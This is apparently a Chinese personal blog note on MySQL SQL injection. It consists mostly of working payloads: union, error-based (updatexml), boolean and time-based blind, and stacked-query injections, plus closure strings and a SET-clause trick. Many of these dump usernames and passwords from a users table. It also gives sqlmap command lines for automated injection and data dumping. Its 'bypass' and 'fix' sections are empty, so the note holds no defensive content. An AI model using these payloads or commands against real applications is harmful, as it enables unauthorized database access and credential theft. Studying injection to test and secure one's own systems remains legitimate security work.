SQL注入个人小记(以MySQL为例)
SQL注入个人小记(以MySQL为例)
sqlmap
伟大无需多言
https://github.com/sqlmapproject/sqlmap
参考链接
https://github.com/jason-blog/blog/blob/master/Kali/Sqlmap使用教程【个人笔记精华整理】.MD
手工payload
测试注入点情况
-- 判断字段数:在URL中添加
?inject=1' order by 1--+
从information_schema中查询信息
# 从信息表中查询当前数据库所有表
select group_concat(table_name) from information_schema.TABLES WHERE table_schema = DATABASE()
# 从表中查询所有字段
select group_concat(column_name) from information_schema.COLUMNS where table_name = 'users'
# 查询值
select group_concat(password) from users;
SELECT CONCAT(username, ':', password) FROM users; # 表格展示
SELECT GROUP_CONCAT(CONCAT(username, ':', password)) FROM users; # 一行展示
select * from users
UNION注入
payload 如下
-- 使用union select 1,2,3,··· 查询出列数为val
1' union select 1,2,3,··,val --+
-- 查询当前数据库所有表
1' union select 1,group_concat(table_name) from information_schema.TABLES WHERE table_schema = DATABASE() --+
报错注入
updatexml(XML_document,XPath_string,new_value) 利用这个函数,传入的<XPath_string>不合法会将报错内容输出,比如含有'~'字符
payload如下
-- 测试是否存在报错注入
1' or updatexml(1, concat(0x7e, (select 1 ),0x7e) ,1) #
-- 查询用户表中所有的密码
-1' or updatexml(1,concat(0x7e, (select group_concat(password) from users), 0x7e),1) #
# 0x7e 是 '~' 字符
布尔盲注
以MySQL为例,利用mid或substring或substr函数对查询结果获取子串,以下贴出一些常见的sql语句示例
-- 将users表中的username,password全部查询出来,username和password以0x7e,即'~'符号分隔,每行结果以','分隔
select group_concat(username, 0x7e, password) from users;
-- 截取以第1位字母开头,长度为1的子串
select mid((select group_concat(username, 0x7e, password) from users), 1, 1);
-- 将查询的第1位跟 'D' 字符比对,返回true即sql语句正常执行,返回false则sql语句无法正常返回id=1的数据
select * from users where id = 1 and BINARY (select mid((select group_concat(username, 0x7e, password) from users), 1, 1)) = 'D';
参考payload
1' and BINARY (select mid((select group_concat(username, 0x7e, password) from users), 1, 1)) = 'D' #
时间盲注
若无法实现布尔盲注(如果sql语句的查询结果返回并无太大区别),可以在sql语句中进行比对,返回true延时1s,返回false不延时,注入后的sql语句如下
select * from users where id = '1' or BINARY if(((select mid((select group_concat(username, 0x7e, password) from users), 1, 1)) = 'D'), sleep(1), 1);
参考payload
1' or BINARY if(((select mid((select group_concat(username, 0x7e, password) from users), 1, 1)) = 'e'), sleep(1), 1) #
堆叠注入
获取信息
?inject=-1'; show databases; --+
?inject=-1'; show tables; --+
# 查询列
?inject=1';desc `table_name`--+
?inject=1';show columns from `table_name`--+
利用姿势
# 直接获取数据
handler `table_name` open;handler `table_name` read first; --+
-- 最简单
# 结合预编译
-- 还算安全,但是麻烦
# 修改表结构 让需要查询的表的名字改为服务正常查询表的名字
-- 删库跑路了
-- MySQL表名为纯数字时(表名和保留字冲突时也是加反引号),要加反引号
注入点
where (最常见)
下面列举一些闭合前面的常见组合
1#
1'#
1"#
1')#
1")#
1'))#
1"))#
set 注入点
以下sql语句
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
参数$passwd
存在注入,注意控制条件免得直接更新一整张表,意思就是在注释符号之前自己写一个条件为false的,如下
1' where 1=2 #
主要、使用报错注入获取数据
使用 sqlmap -r
选项指定报文并进行测试
使用 -r
参数可以将 HTTP 请求报文文件导入到 sqlmap
,然后对指定的注入点和注入类型进行爆破测试。
1. 命令格式
sqlmap -r request.txt --level=<level> --risk=<risk> --dbms=<dbms> --technique=<technique> --batch --random-agent -p <parameter>
其中:
-r request.txt
:导入包含 HTTP 请求的文件。--level=<level>
:指定注入级别(1-5),级别越高,测试的参数越多(默认是 1)。--risk=<risk>
:指定测试的风险(1-3),级别越高,测试的请求可能对目标服务器造成的负载越大(默认是 1)。--dbms=<dbms>
:指定数据库类型(如MySQL
,MSSQL
,Oracle
,PostgreSQL
等)。可以在明确知道目标数据库类型时指定。--technique=<technique>
:指定 SQL 注入的技术类型(B、E、U、S、T),分别表示:B
:布尔型盲注(Boolean-based Blind)E
:报错注入(Error-based)U
:联合查询注入(Union query-based)S
:堆查询注入(Stacked queries)T
:时间盲注(Time-based Blind)
--batch
:自动确认所有提示(用于无人值守的自动化测试)。--random-agent
:随机更改User-Agent
头部,防止被目标服务器屏蔽。-p <parameter>
:指定要测试的参数名称。此处的<parameter>
替换为实际请求中可能存在注入的参数名,如username
、password
等。
2. 示例命令
以下是一些具体的 sqlmap
命令示例,帮助你在测试环境中进行报错注入或其他类型的 SQL 注入测试:
例 1:对 POST 请求中 username
参数进行报错注入测试
sqlmap -r request.txt --level=3 --risk=2 --technique=E --batch --random-agent -p username
--level=3
:测试所有的 POST 参数以及一些 HTTP 头中的参数。--risk=2
:进行适度风险的测试,可能会使用一些可能影响服务器性能的测试用例。--technique=E
:只使用报错型注入进行测试。-p username
:只对username
参数进行注入测试。
例 2:对 GET 请求中所有参数进行联合查询注入测试
sqlmap -r request.txt --level=2 --risk=1 --technique=U --dbms=MySQL --batch --random-agent
--dbms=MySQL
:指定目标数据库类型为 MySQL(可选项,知道目标数据库类型时指定更有效)。--technique=U
:只使用联合查询注入进行测试。
例 3:对 POST 请求中 password
参数进行时间盲注测试
sqlmap -r request.txt --level=1 --risk=1 --technique=T --batch --random-agent -p password
--technique=T
:只使用时间盲注进行测试。-p password
:只对password
参数进行注入测试。
3. 常用的 sqlmap
选项说明
--dbs
:列出数据库。--tables
:列出指定数据库的表(需要使用-D
参数指定数据库名)。--columns
:列出指定表的字段(需要使用-T
参数指定表名)。--dump
:转储数据(需要指定数据库和表)。
4. 检查注入点结果
- 如果
sqlmap
成功发现了 SQL 注入点,会自动显示数据库名、表名、字段信息,并可能会询问是否进一步导出数据。 - 如果你想只检测注入点而不进行数据导出,可以添加
--smart
选项,它会在检测到注入点后自动停止测试,而不进行进一步的数据操作。
5. 请求前获取新Cookie
为了在每次请求之前获取一个新的Cookie,并将这个Cookie传递给Sqlmap,可以使用--eval
参数。这个参数允许你在每次请求之前执行一个自定义的Python代码段来获取Cookie,然后将其设置为请求的一部分。
假设你需要请求一个URL来获取Cookie,并将该Cookie设置给Sqlmap,代码如下:
python sqlmap.py -r request.txt --level=3 --risk=2 --technique=T --batch --random-agent -p id --eval="import requests; r = requests.get('http://example.com/get-cookie'); cookie = r.cookies.get('your_cookie_name'); headers['Cookie'] = f'your_cookie_name={cookie}'"
说明:
--eval
允许你在Sqlmap每次请求前执行Python代码。requests.get('http://example.com/get-cookie')
请求指定URL以获取新的Cookie。r.cookies.get('your_cookie_name')
获取请求结果中的指定Cookie名称。headers['Cookie']
设置Sqlmap在后续请求中使用这个Cookie。
确保你将 http://example.com/get-cookie
和 your_cookie_name
替换为实际的URL和Cookie名称。这样,每次Sqlmap进行请求前,它都会先向指定的URL发送请求以获取最新的Cookie。
绕过思路
鸽
修复思路
鸽